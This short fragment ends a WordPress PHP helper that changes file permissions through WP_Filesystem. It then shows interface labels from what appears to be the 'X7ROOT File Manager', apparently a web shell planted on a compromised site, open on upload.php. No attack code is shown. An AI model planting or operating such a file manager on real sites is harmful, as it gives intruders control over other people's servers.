				require_once ABSPATH . 'wp-admin/includes/file.php';
			}

global $wp_filesystem;
			if ( ! WP_Filesystem() ) {
				return false; // Could not initialize the filesystem.
			}

if ( $wp_filesystem->chmod( $path, $permission ) ) {
				return true;
			} else {
				return false;
			}
		}
	}
}

X7ROOT File Manager

Editing: upload.php

Upload File

Create Folder